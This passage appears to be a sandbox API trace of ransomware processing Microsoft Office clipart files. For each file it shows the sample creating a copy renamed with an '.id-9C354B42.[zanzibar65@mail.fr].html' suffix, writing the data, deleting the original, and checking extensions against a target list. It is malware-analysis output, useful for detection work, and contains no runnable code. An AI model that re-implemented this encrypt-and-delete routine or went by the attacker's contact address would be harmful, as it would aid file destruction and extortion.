office\\clipart\\pub60cor\\hh00625_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.606] GetLastError () returned 0x0 [0274.606] ReadFile (in: hFile=0x3a4, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x844, lpOverlapped=0x0) returned 1 [0274.608] WriteFile (in: hFile=0x30c, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x850, lpOverlapped=0x0) returned 1 [0274.608] ReadFile (in: hFile=0x3a4, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0274.608] WriteFile (in: hFile=0x30c, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.608] SetEndOfFile (hFile=0x30c) returned 1 [0274.608] CloseHandle (hObject=0x30c) returned 1 [0274.609] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.609] SetEndOfFile (hFile=0x3a4) returned 1 [0274.611] CloseHandle (hObject=0x3a4) returned 1 [0274.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0274.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0274.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0274.611] lstrlenW (lpString=".doc") returned 4 [0274.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.611] lstrlenW (lpString=".docx") returned 5 [0274.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.611] lstrlenW (lpString=".pdf") returned 4 [0274.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.611] lstrlenW (lpString=".xls") returned 4 [0274.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.611] lstrlenW (lpString=".xlsx") returned 5 [0274.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.611] lstrlenW (lpString=".ppt") returned 4 [0274.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0274.611] lstrlenW (lpString=".zip") returned 4 [0274.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.611] lstrlenW (lpString=".rar") returned 4 [0274.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.612] lstrlenW (lpString=".bz2") returned 4 [0274.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.612] lstrlenW (lpString=".7z") returned 3 [0274.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0274.612] lstrlenW (lpString=".dbf") returned 4 [0274.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0274.612] lstrlenW (lpString=".1cd") returned 4 [0274.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0274.612] lstrlenW (lpString=".jpg") returned 4 [0274.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0274.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0274.612] lstrlenW (lpString=".doc") returned 4 [0274.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.612] lstrlenW (lpString=".docx") returned 5 [0274.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.612] lstrlenW (lpString=".pdf") returned 4 [0274.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.612] lstrlenW (lpString=".xls") returned 4 [0274.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.612] lstrlenW (lpString=".xlsx") returned 5 [0274.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.612] lstrlenW (lpString=".ppt") returned 4 [0274.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0274.613] lstrlenW (lpString=".zip") returned 4 [0274.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.613] lstrlenW (lpString=".rar") returned 4 [0274.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.613] lstrlenW (lpString=".bz2") returned 4 [0274.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.613] lstrlenW (lpString=".7z") returned 3 [0274.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0274.613] lstrlenW (lpString=".dbf") returned 4 [0274.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0274.613] lstrlenW (lpString=".1cd") returned 4 [0274.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0274.613] lstrlenW (lpString=".jpg") returned 4 [0274.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.613] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.613] lstrlenW (lpString="HH00636_.WMF") returned 12 [0274.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0274.614] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=1568) returned 1 [0274.614] CloseHandle (hObject=0x3a4) returned 1 [0274.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x20 [0274.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0274.614] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.615] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.615] GetLastError () returned 0x0 [0274.615] ReadFile (in: hFile=0x3a4, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x620, lpOverlapped=0x0) returned 1 [0274.616] WriteFile (in: hFile=0x30c, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x630, lpOverlapped=0x0) returned 1 [0274.617] ReadFile (in: hFile=0x3a4, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0274.617] WriteFile (in: hFile=0x30c, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.617] SetEndOfFile (hFile=0x30c) returned 1 [0274.617] CloseHandle (hObject=0x30c) returned 1 [0274.618] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.618] SetEndOfFile (hFile=0x3a4) returned 1 [0274.619] CloseHandle (hObject=0x3a4) returned 1 [0274.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0274.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0274.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0274.620] lstrlenW (lpString=".doc") returned 4 [0274.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.620] lstrlenW (lpString=".docx") returned 5 [0274.620] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.620] lstrlenW (lpString=".pdf") returned 4 [0274.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.620] lstrlenW (lpString=".xls") returned 4 [0274.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.620] lstrlenW (lpString=".xlsx") returned 5 [0274.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.620] lstrlenW (lpString=".ppt") returned 4 [0274.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0274.620] lstrlenW (lpString=".zip") returned 4 [0274.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.621] lstrlenW (lpString=".rar") returned 4 [0274.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.621] lstrlenW (lpString=".bz2") returned 4 [0274.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.621] lstrlenW (lpString=".7z") returned 3 [0274.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0274.621] lstrlenW (lpString=".dbf") returned 4 [0274.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0274.621] lstrlenW (lpString=".1cd") returned 4 [0274.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0274.621] lstrlenW (lpString=".jpg") returned 4 [0274.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0274.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0274.621] lstrlenW (lpString=".doc") returned 4 [0274.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.621] lstrlenW (lpString=".docx") returned 5 [0274.621] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.621] lstrlenW (lpString=".pdf") returned 4 [0274.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.621] lstrlenW (lpString=".xls") returned 4 [0274.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.621] lstrlenW (lpString=".xlsx") returned 5 [0274.621] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.621] lstrlenW (lpString=".ppt") returned 4 [0274.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0274.622] lstrlenW (lpString=".zip") returned 4 [0274.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.622] lstrlenW (lpString=".rar") returned 4 [0274.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.622] lstrlenW (lpString=".bz2") returned 4 [0274.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.622] lstrlenW (lpString=".7z") returned 3 [0274.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0274.622] lstrlenW (lpString=".dbf") returned 4 [0274.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0274.622] lstrlenW (lpString=".1cd") returned 4 [0274.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0274.622] lstrlenW (lpString=".jpg") returned 4 [0274.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.622] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.622] lstrlenW (lpString="HH00669_.WMF") returned 12 [0274.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0274.623] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=11490) returned 1 [0274.623] CloseHandle (hObject=0x3a4) returned 1 [0274.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x20 [0274.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0274.623] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.623] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.624] GetLastError () returned 0x0 [0274.624] ReadFile (in: hFile=0x3a4, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x2ce2, lpOverlapped=0x0) returned 1 [0274.625] WriteFile (in: hFile=0x30c, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0274.626] ReadFile (in: hFile=0x3a4, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0274.626] WriteFile (in: hFile=0x30c, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.626] SetEndOfFile (hFile=0x30c) returned 1 [0274.626] CloseHandle (hObject=0x30c) returned 1 [0274.626] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.626] SetEndOfFile (hFile=0x3a4) returned 1 [0274.628] CloseHandle (hObject=0x3a4) returned 1 [0274.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0274.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0274.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0274.629] lstrlenW (lpString=".doc") returned 4 [0274.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.629] lstrlenW (lpString=".docx") returned 5 [0274.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.629] lstrlenW (lpString=".pdf") returned 4 [0274.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.629] lstrlenW (lpString=".xls") returned 4 [0274.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.629] lstrlenW (lpString=".xlsx") returned 5 [0274.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.629] lstrlenW (lpString=".ppt") returned 4 [0274.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0274.630] lstrlenW (lpString=".zip") returned 4 [0274.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.630] lstrlenW (lpString=".rar") returned 4 [0274.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.630] lstrlenW (lpString=".bz2") returned 4 [0274.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.630] lstrlenW (lpString=".7z") returned 3 [0274.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0274.630] lstrlenW (lpString=".dbf") returned 4 [0274.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0274.630] lstrlenW (lpString=".1cd") returned 4 [0274.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0274.630] lstrlenW (lpString=".jpg") returned 4 [0274.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0274.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0274.630] lstrlenW (lpString=".doc") returned 4 [0274.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.630] lstrlenW (lpString=".docx") returned 5 [0274.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.630] lstrlenW (lpString=".pdf") returned 4 [0274.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.630] lstrlenW (lpString=".xls") returned 4 [0274.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.630] lstrlenW (lpString=".xlsx") returned 5 [0274.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.630] lstrlenW (lpString=".ppt") returned 4 [0274.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0274.631] lstrlenW (lpString=".zip") returned 4 [0274.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.631] lstrlenW (lpString=".rar") returned 4 [0274.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.631] lstrlenW (lpString=".bz2") returned 4 [0274.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.631] lstrlenW (lpString=".7z") returned 3 [0274.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0274.631] lstrlenW (lpString=".dbf") returned 4 [0274.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0274.631] lstrlenW (lpString=".1cd") returned 4 [0274.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0274.631] lstrlenW (lpString=".jpg") returned 4 [0274.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.631] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.631] lstrlenW (lpString="HH00681_.WMF") returned 12 [0274.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0274.632] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=9300) returned 1 [0274.632] CloseHandle (hObject=0x3a4) returned 1 [0274.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x20 [0274.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.961] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.961] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0274.961] GetLastError () returned 0x0 [0274.961] ReadFile (in: hFile=0x398, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x2454, lpOverlapped=0x0) returned 1 [0274.978] WriteFile (in: hFile=0x384, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, 